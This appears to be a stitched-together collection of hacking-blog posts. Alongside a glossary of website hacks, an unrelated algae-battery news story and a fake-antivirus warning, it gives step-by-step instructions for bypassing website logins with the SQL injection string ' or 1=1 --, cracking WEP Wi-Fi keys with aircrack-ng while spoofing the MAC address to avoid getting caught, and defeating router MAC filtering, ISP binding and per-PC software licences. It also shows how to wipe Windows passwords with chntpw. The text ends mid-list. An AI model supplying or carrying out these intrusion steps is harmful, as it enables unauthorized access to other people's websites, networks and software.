Other Common hack related terms and information relating to how to clear hacked websites:
  • iframe hack – sometimes called an iframe injection is often used by hackers to redirect visitors to other websites or force a software download upon visiting the hacked website.
  • Base64 code – is a common means hackers code their web page hacks. This obfuscated code makes it harder to find hacker code on a web page. A server admin searching a server for hack related text may often miss files injected with obfuscated base64 PHP code because the obfuscated code conceals the usual suspect phrases. The “pharma hack” often uses base64 or obfuscated coding.
  • Botnet – is a large collection of hacked PCs, sometimes called zombie computers. These PCs once controlled may be used to send junk e-mail or bring down web services. Botnet’s are often the means by which denial of service attacks are initiated.
  • ‘hacked by hacker’ – was a well known server wide compromise which took advantage of a vulnerability relating to the symbolic links setting within cPanel configured web servers. A number of web hosts fell prey to this cPanel related exploit, which allowed hackers to replace most of the “index” type pages of accounts configured on server with a text file containing the words, ‘hacked by hacker’.
  • Zero-Day exploit – Affecting both websites and computers, the zero-Day exploit is a term describing not yet documented security threats or vulnerabilities.
  • Denial of service attack – or distributed denial of service attack (DDoS), is a distributed attack on a network or service. Because these types of attacks originate from so many locations simultaneously they often result in hours of downtime until mitigated.

Technology Updates!

Imagine wrapping paper that could be a gift in and of itself because it lights up with words like "Happy Birthday." That is one potential application of a new biodegradable battery made of cellulose, the stuff of paper.

Scientists worldwide are striving to develop thin, flexible, lightweight, inexpensive, environmentally friendly batteries made entirely from nonmetal parts. Among the most promising materials for these batteries are conducting polymers.

However, until now these have impractical for use in batteries — for instance, their ability to hold a charge often degrades over use.

Easy to make

The key to this new battery turned out to be an often bothersome green algae known as Cladophora. Rotting heaps of this hairlike freshwater plant throughout the world can lead to unsightly, foul-smelling beaches.

This algae makes an unusual kind of cellulose typified by a very large surface area, 100 times that of the cellulose found in paper. This allowed researchers to dramatically increase the amount of conducting polymer available for use in the new device, enabling it to better recharge, hold and discharge electricity.

"We have long hoped to find some sort of constructive use for the material from algae blooms and have now been shown this to be possible," said researcher Maria Strømme, a nanotechnologist at Uppsala University in Sweden. "This creates new possibilities for large-scale production of environmentally friendly, cost-effective, lightweight energy storage systems."

The new batteries consisted of extremely thin layers of conducting polymer just 40 to 50 nanometers or billionths of a meter wide coating algae cellulose fibers only 20 to 30 nanometers wide that were collected into paper sheets.

"They're very easy to make," Strømme said.

Quick to charge

They could hold 50 to 200 percent more charge than similar conducting polymer batteries, and once better optimized, they might even be competitive with commercial lithium batteries, the researchers noted. They also recharged much faster than conventional rechargeable batteries — while a regular battery takes at least an hour to recharge, the new batteries could recharge in anywhere from eight minutes to just 11 seconds.

The new battery also showed a dramatic boost in the ability to hold a charge over use. While a comparable polymer battery showed a 50 percent drop in the amount of charge it could hold after 60 cycles of discharging and recharging, the new battery showed just a 6 percent loss through 100 charging cycles.

"When you have thick polymer layers, it's hard to get all the material to recharge properly, and it turns into an insulator, so you lose capacity," said researcher Gustav Nyström, an electrochemist at Uppsala University. "When you have thin layers, you can get it fully discharged and recharged."

Flexible electronics

The researchers suggest their batteries appear well-suited for applications involving flexible electronics, such as clothing and packaging.

"We're not focused on replacing lithium ion batteries — we want to find new applications where batteries are not used today," Strømme told LiveScience. "What if you could put batteries inside wallpaper to charge sensors in your home? If you could put this into clothes, can you couple that with detectors to analyze sweat from your body to tell if there's anything wrong?"

Future directions of research include seeing how much charge these batteries lose over time, a problem with polymer batteries and all batteries in general. They also want to see how much they can scale up these batteries, "see if we can make them much, much larger," Strømme said.

The scientists detailed their last month in the journal Nano Letters.

How To Deface A Website With Basic HTML Coding In Just 5 Minute

I was browsing the net when i saw this tutorial:

Source: http://naijadudes.com


Steps:

Open the site you want to hack. Provide wrong username/password combination in its log in form. (e.g. : Username : me and Password: ' or 1=1 --)An error will occur saying wrong username-password. Now be prepared your experiment starts from here.


Right click anywhere on that error page =>> go to view source.

3. There you can see the HTML coding with JavaScript.• There you find somewhat like this....<_form action="...Login....">• Before this login information copy the URL of the site in which you are. (e.g. :"< _form..........action=http://www.targetwebsite.com/login.......>")

4. Then delete the JavaScript from the above that validates your information in the server.(Do this very carefully, your success to hack the site depends upon this i.e. how efficiently you delete the java scripts that validate your account information)

5.Then take a close look for "<_input name="password" type="password">"[without quotes] -> replace "<_type=text> “there instead of "<_type=password>". See there if maximum length of password is less than 11 then increase it to 11 (e.g. : if then write )

6. Just go to file => save as and save it anywhere in your hard disk with ext.html(e.g.: c:\chan.html)

7. Reopen your target web page by double clicking 'chan.html' file that you saved in your hard disk earlier.• You see that some changes in current page as compared to original One. Don't worry.

8. Provide any username [e.g.: hacker] and password [e.g.:' or 1=1 --] You have successfully cracked the above website and entered into the account of List user saved in the server's database.

Warnings

Do the coding and changes very carefully, your success to hack the site depends upon this i.e. how efficiently you delete the java scripts that validate your account information.

Hacking Wifi key using Backtrack

Wifi or Wireless Fidelity is the name of a popular wireless networking technology that uses radio waves to provide wireless high-speed Internet and network connections. Wifi has become an integral part of our lives today.

Right from Mobile Phones to Laptops to Ipads every device now has Wifi support.
Wifi is secured using a WPA protocol which intends to secure Wireless LANs like Wired LAN’s by encrypting data over radio waves, however, it has been found that WEP is not as secure as once believed. Now almost anyone can hack into a Wifi network by generating the valid WEP key using Bactrack. Read on to learn how ..

Disclaimer: This tutorial is given for educational purposes only and that for any misuse of this information, the blogger cannot be held liable.

SETTING UP THE CARD AND THE CONSOLE
Boot up Backtrack on your virtual machine/laptop and open up the command console and type the commands as they are given -
* ifconfig
This is the Linux equivalent of ipconfig, you will see the network adapters in your system. See which one is for Wi-Fi. A few examples are wlan0, wifi0, etc.
* airmon-ng
This command will initialize the Wi-Fi network monitoring & will tell you how many networks are in range
* airmon-ng stop [Wi-Fi Card name(without the quotes)]
This command will stop the cards broadcast and reception immediately
* macchanger –mac [Desired MAC address] [Wi-Fi card name]
This command will change the current MAC address to any MAC address you desire, so that you don’t get caught later
* airmon-ng start [Wi-Fi Card name]
You will see another extra adapter that is set on monitor mode, use that adapter for all further purposes in the following commands where – ‘[Wi-Fi card name]’ appears
DUMPING PACKETS
Once you have set up all the parameters,you need to sniff and dump data packets in order to get the key.You can do so by using following commands. On the command console type these commands -
* airodump-ng [Wi-Fi card name]
Copy and paste the BSSID in the following command and execute it
* airodump-ng –c [Channel Number] –w [Desired Filename for later decryption] --bssid [BSSID] [Wi-Fi Card name]
As you execute the command, you will see a certain number of beacons and data packets that will be stored in the filename you have given. The file will be stored in the root of the system drive (Click on Computer and you will see the file).The file will be present in two formats: *.cap, *.txt.
SPEEDING UP THINGS
However packet dumping is quite a slow process,we need to speed up things to save our time.Open a new console after the first data packet has been stored and type the command in the new console and execute it
*airreplay-ng -1 0 –a [BSSID] –h [FAKED MAC ADDRESS] -e [Wi-Fi name (you wish to hack)] [Wi-Fi card name]
As you type this command you will see that the data packets required for breaking the key will increase dramatically thereby saving you a lot of time.
REVEALING WEP KEY
Open another console once you have around 20,000 data packets and type the following command to reveal the WEP key.
aircrack-ng –n 64 –b [BSSID] [Filename without the extension] Revealing the WEP Key -
As you type this command, you will see that a key will appear in front of you in the given below format:
XX:XX:XX:XX
It is not necessary that the key should have exactly the same digits as shown above so please don’t freak out if you see a 10 digit or 14 digit key. Also if the decryption fails, you can change the bit level of the decryption in the command:
aircrack-ng –n [BIT LEVEL] –b [BSSID] [Filename without extension]
Remember, the bit level should be a number of 2n where n:1,2,3,4…
e.g.
aircrack-ng –n 32 –b [BSSID] [Filename without the extension]
OR
aircrack-ng –n 128 –b [BSSID] [Filename without the extension] etc. etc.
Now just login using the WEP key you got.

Reset Admin Password of Windows XP, Vista and 7

This trick enables us to change the password of Windows Operating System Using Ubuntu 9.10 distribution installed on a usb drive.   Eventhough the titile states on XP, Vista and 7, the trick you are gonna read is also for 2000 and 2003. This method is applicable when you have some Alzheimer’s disease and you forgot your most important Windows login password.  And probably you do some idiotic things with all the password possibilities you know and then your account gets locked up. So there when you stand without knowing what to do, this trick comes to the rescue.
What do you need :

1) Unetbootin
2) Ubuntu 9.10 ISO (You can also download it using Unetbootin)
3)  chntpw
4) A Usb drive (1 gb or more)
Steps :
First we need to install Ubuntu 9.10 to the USB drive..  Open Unetbootin in a computer other than the target computer (you couldn’t do it on the target computer as it is already locked or forgotten password)
Select Ubuntu 9.10 or Select the “Disc image” option and select the path where you have downloaded the ISO. Select the type as USB drive and select the drive where the usb drive is displayed. Click Ok..
Then Wait..
It installs…
When it is done, click on “exit” and remove the USB drive. Yupeee!! You now have the live image of Ubuntu 9.10
Insert the Usb drive into the target computer. Start the computer, Boot from the usb drive. If it does not come, you may have to change the boot device preferences in the BIOS.
When you boot from the USB drive , the unetbootin options comes and you have to select “default” . Thus it boots into Ubuntu OS. Now you have access to the windows filesystem. Hurray!!
Now we need the tool chntpw. To get this software, connect to the internet and run the command :
sudo software-properties-gtk --enable-component=universe--enable-component=multiverse; sudo apt-get update; sudo apt-get install chntpw
Go to the terminal and change the directory to the password file
cd /media/path/to/disk/WINDOWS/system32/config/
Now run the chntpw tool
# sudo chntpw -u username SAM SYSTEM
When it is executed, it will just erase the password. Now you could restart and log into the windows without the password.
Anyway, as a security precaution , you may backup the data  in the hard disk, what if you mess it all up?? lolz..

Developing native Apps for Jailbreaked Windows Phone

Windows Phone loaded with Windows OS like Windows Phone 7, Windows Phone 7.5, Windows Phone 7.8, Windows Phone 8 and lately if news sources are to be believed then even Windows Phone 8.1 is also on cards.
One thing for which Microsoft should be appreciated is the security & stability of the OS of Mobile Phone, When compared with Android it is much much secure OS and is on par with Apple iOS in terms of Security.
But adding security had imposed lot of restrictions and thus you wont find much applications as compared to Android & iPhone on Windows Store.
You will never find applications like Task Manger where you have flexibility to see which applications are running on phone, what amount of memory are they using which you can easily do it in even the cheapest of android phones. So here is the idea by which developers can develop applications which would have not been possible with Microsoft's restriction.

So as to develop a native application thus utilizing the core features which are currently available to OEMs, you need to jailbreak your windows phone.

Now what is Jail-breaking? Just visit here to find out what exactly Jailbreaking is and how to Jailbreak your Windows Phone. Once you have your phone jailbreaked, follow the below procedure to develop native application and enrich you applications with native functionality.

      1.    Download the DLL Import Project from the below link
     http://forum.xda-developers.com/showthread.php?t=1006331

    2.    The DLL Import Project contains compiled DLLs, with which you can access to those API which are not provided or accessible in non-jailbreak windows Phone 7

The following steps were followed while creating a new application taking reference of DLL Import project for CPU and Memory Analysis Tool:

       - Follow the normal procedure of creating a new Windows Phone 8/7.1 project on Visual Studio 2012.

       - When the project has been made, go to the Solution Explorer bar and right click on the project name.

       - Since the DLLs contains Native Code, Visual Studio will not allow you to add the DLL via Add references, so instead we have a workaround as follow

       -  Go to Add > Existing Item.

     - Doing this, navigate to the folder containing the respective DLLs you need to add for the project.

      - In that folder, select the respective DLLs and click open. The DLLs will be added.

     - For the Memory CPU Tool, the DLLs added were
                           DllImportMango.dll
                           Microsoft.Phone.InteropServices.dll
                           Microsoft.Live.dll
                           Microsoft.Phone.Controls.Toolkit.dll
                           Microsoft.Live.Controls.dll
                           AmCharts.Windows.QuickCharts.WP.dll.

     - After adding all the DLLs the main step is to set their properties.

    - Right click on each DLL name and go to Properties.

   - In properties the Build Action should be set to Content and Copy to Output Directory should be set to Copy Always.

    - This step should be done for all the DLLs.

    - Now go to the Solution Explorer and expand Properties.

    - Right click on WMAppManifest.xml and go to Properties.

   - Here also the Build Action should be set to Content and Copy to Output Directory should be set to Copy Always.

   - Now open the project in the file explorer and go to the folder named Properties.

   - In this folder edit the WMAppManifest.xml in the notepad. It should contain the following capabilities:

ID_CAP_GAMERSERVICES
ID_CAP_IDENTITY_DEVICE
ID_CAP_IDENTITY_USER
ID_CAP_LOCATION
ID_CAP_MEDIALIB
ID_CAP_MICROPHONE
ID_CAP_NETWORKING
ID_CAP_PHONEDIALER
ID_CAP_PUSH_NOTIFICATION
ID_CAP_SENSORS
ID_CAP_WEBBROWSERCOMPONENT
ID_CAP_NETWORKING_ADMIN
ID_CAP_INTEROPSERVICES
ID_CAP_RINGTONE_ADD
      - Now go to the solution explorer and right click on References and click on Add Reference.

      - Check mark the respective references required for the project.

      - In this project, the references used were:
Microsoft.Devices.Sensors
Microsoft.Phone
Microsoft.Phone.Interop
Microsoft.Xna.Framework
Microsoft.Xna.Framework.Game
mscorlib
mscorlib.Extensions
System
System.Core
System.Net
System.Windows
System.Xml
System.Xml.Linq


Above mentioned are all the points which should be kept in mind while creating a new application based on DLL Imports in Windows Phone 8/7.1
This is the procedure to use already available DLLs and access those APIS which DLL Import project has exposed.
In case you want to use/add/modify the APIs and create your new DLL. It is possible by following procedure.
1.      Install the following software
a.      Visual Studio 2008 SP1
b.      Windows Mobile SDK 6 PRO
2.      Now open the Solution which is there inside VS2008 folder of CSharp DLL Import Project which you have downloaded earlier.
3.      Once you open the solution you can easily modify/add the APIs which are available in Windows Mobile 6, compile the solution and get the respective DLL.
4.      Now you can use the newly made DLL by Add Existing Item and following the above procedure in you windows phone 7 projects which will run properly on Jailbreak Windows Phone 7.

How to Spoof your MAC address

Do you know that each and every computer/laptop having Network Interface Card (NIC) also known as Ethernet card has a Unique MAC Address?

What is the need and Significance of Unique MAC address?

MAC address also known as Media Access Control is a 48 bit hexadecimal key which identifies a machine of Network when connected to LAN/WAN. 
The Unique MAC address is burnt in the ROM of the Ethernet card. Whenever any request is sent on Network, The ARP packets contain IP address of the Machine along with the MAC address which uniquely identifies a Machine on Network. 
 
Let’s take up a scenario to explain the significance of the MAC address

In today’s world of digitalization, whatever electronic devices you have, it has connectivity features like Bluetooth or Wi-Fi. Whether it may be Mobile Phone, IP cameras, Printer/Scanners, PDAs, Laptops, Network HDDs, etc…

So each and every above such devices should have a unique MAC address.


Consider the above Image scenarios wherein many devices are connected to a Wi-Fi router. Whenever you try to connect the Device with router an ARP (Address resolution Protocol) packets is sent from the device to the router.

The ARP packet which is sent from the device contains the MAC address of its Network Interface controller. As soon as the ARP packets are received by the router, the router checks for Authentication of the device and if the device is Authentic then it sends RARP Packet (Reverse ARP).

RARP Packet contains the MAC address and the IP which has to be assigned to the device. Since there can be many devices simultaneously trying to connect the router, the RARP packet will be broadcasted to all the devices.

But only those devices which match with the MAC address of the RARP packet will be able to accept it and get the Assigned IP address to the device. Since the packets are broadcasted, if the devices doesn’t have a unique MAC address it won’t be able to interact with the Layer 3 devices on Network and Hence will be unreachable from the network.

 How MAC address spoofing can result in Hacking and IS breach

Nowadays everywhere Wi-Fi routers are used to connect to devices like Laptops, PDA, Mobile Phones, etc… replacing the old CAT5 cable.

In case of Wi-Fi, since it is an air interface the signals are reachable to surrounding areas also and thus can be used by any intruder who has the Wi-Fi signal reachability to enter in to the secured network and gain access to the important/crucial information thus resulting in Information security breach.

So as to avoid this, almost all the Wi-Fi router comes with MAC filtering. Which means that the network admin of the Router can already specify that only the listed MAC address are authentic and should be allow to be connected and rest other devices should be blocked.

See below the Screenshot of my Home Router in which I have specified only two MAC address. So whenever anyone else with other than this mentioned MAC address is in the range on the network and tries to connect to the device it will be blocked because the MAC address filtering is enabled.

So in this case we can spoof the MAC address with the one which is allowed and can enter in to the network and use the network resources.

Procedure to Spoof the MAC address

 There are many third party applications available, some free and some paid with which you can easily spoof your MAC address. But I will let you know how we can use Windows predefined functionality to Spoof the MAC address.
     1) First click on start, then click on run And type “control netconnections” and click ok

    2) The above command will open network connections, in network connections find your  Network Adapter of which you have to change the MAC address.

    3)  Right click on the Network adapter and click on Properties and you will see a window similar to below
     
     
      4) Click on Configure button








                                            


      5)      Click on Advanced Tab as highlighted in the above image.




   


    6)  After click on Advanced tab, choose Network Address as in above image and then on right hand screen enter a Hexadecimal MAC address with which you want to spoof your present MAC address

      7)   Once you have entered the MAC address, click on OK and you are done. Yes! Indeed you are done.
You have successfully spoofed your MAC address.

Check the below screenshot which shows the router settings page on which MAC filtering is Enabled.
Only PC or devices with the below mentioned MAC address will be allowed or denied as per the option chooses in the Admin settings of the router. In case your MAC address is blocked by network Admin, then you can spoof up and change your MAC address to connect and gain access to the Network resources.



Even Most of the ISP bind your Login ID and Password to your PC and in any case you want to access internet on any other PC, other than in which the MAC Address is binded by ISP, you can use this method to use internet on other devices as well. 

Many software applications which are licensed to single user single PC, is binded using MAC address and that can be reused in many PC using MAC spoofing.

Fake Antivirus Software which themselves are viruses - Beware!

Guys in this world of advanced digitalization, it is very necessary to be safe from various network threats like Viruses, Trojans, Malwares, Spywares, etc…

Generally the user is not having much advanced knowledge to how to stay secure in this world of WWW. So he generally uses one or the other antivirus programs which in turn keeps monitor on the system to stay the user safe.



 What is Antivirus and how does it works?


Antivirus is a software program which is built to monitor the user system for all the known threats. That means it has a database of all the known threats, when your system comes across any of such threats it protects you as it has ability to resolve the treat or if not possible to clean at least it can stop the threat to attack the user system.

Again it can protect you with all the threats which are known to the software company whose antivirus you are using. All the antiviruses keep on updating their virus definition database as soon as they come across any such threats.
You can read this link about my review of best antivirus for your system so as to be safe from virus attacks

But do you know, you, me or anyone with some programming skills can create a new virus, which in turn won’t be detected by the Antivirus. Why? Because that virus is still unknown to the Antivirus company. It takes some time to the company to identify the threat and release the updates. Whereas the user unaware of this entire thing thinks that he is totally protected from the viruses and various other threats.

So it’s good to have an antivirus software installed in your system, but it is also required that you stay alert to avoid unnecessary security issues in your system.

Let me tell you some of the Virus Programs, which claim that they are Antiviruses. So Next time you come across such situation, stay alert! Your Information security could be in danger.
Have you ever came across a situation in which you are surfing a website, any random website of news, blogs or whatever and you get a message that “Your PC contains virus, click here to scan for free”

Free… When the user read this word free, he just clicks on that application and that application will scan your system and tell you that you 400+ errors/viruses and, you need to purchase to the full version to fix the problem.

The problem doesn’t end here. Even if you decide to not to buy the software, you won’t be able to uninstall the demo application which you installed to scan your PC. Many applications which were working perfectly fine before installing this so called Virus scanner, now doesn’t work. Your PC started giving you error message and your PC starting crashing every now and then. 

 
This is not because of the viruses the antivirus program which you downloaded from internet reported you. It is that same program which is the reason behind the error messages, frequent crashes. This is just a marketing skill. Once you start facing such issue, you feel that the PC is infected with virus and you buy that fake antivirus by paying large amount of money.

So next time when you are buying any new antivirus, it is always advisable that you take advice of some expert person and also never ever use any of the online scanner, antivirus tools claiming that you have virus in your PC. They are nothing but fake malwares.

Let me show you some of the most famous Malware or fake antivirus which claims to be best antivirus programs.Most famous and the one which tops the list is Rouge Scanner.
 
This scanner is available on many torrent sites, free download sites. It claims itself as free online scanner and antivirus program. Which on scanning will give you lot of fake virus alerts and to fix this issue you have to buy the full version.

  1. Rouge Scanner is available on internet with various names such as MS Antivirus / WinPC Defender

Names are very much similar to the security application of Windows, that is Windows Defender and generally MS is used as a short form for Microsoft. But be aware there are fake antivirus programs. Just using such names to disguise the users and to prove it that it is an authentic Antivirus program.

Once installed this software, you won’t be able to uninstall the software and even your antivirus on most cases doesn’t warn you for this kind of fake antiviruses.
 2. Security Tool
Another such fake antivirus program is Security tool also known as Total security. It displays the security alert which is exactly similar to one’s which appear in windows defender for Vista and Windows 7. Screen similar to Windows Security alert can disguise anyone and can fall in to the trap of fake antiviruses.

It eliminates the icons from desktop, slowdowns the system, disables Task manager, corrupts the Registry, etc…

3. Internet Security 2010
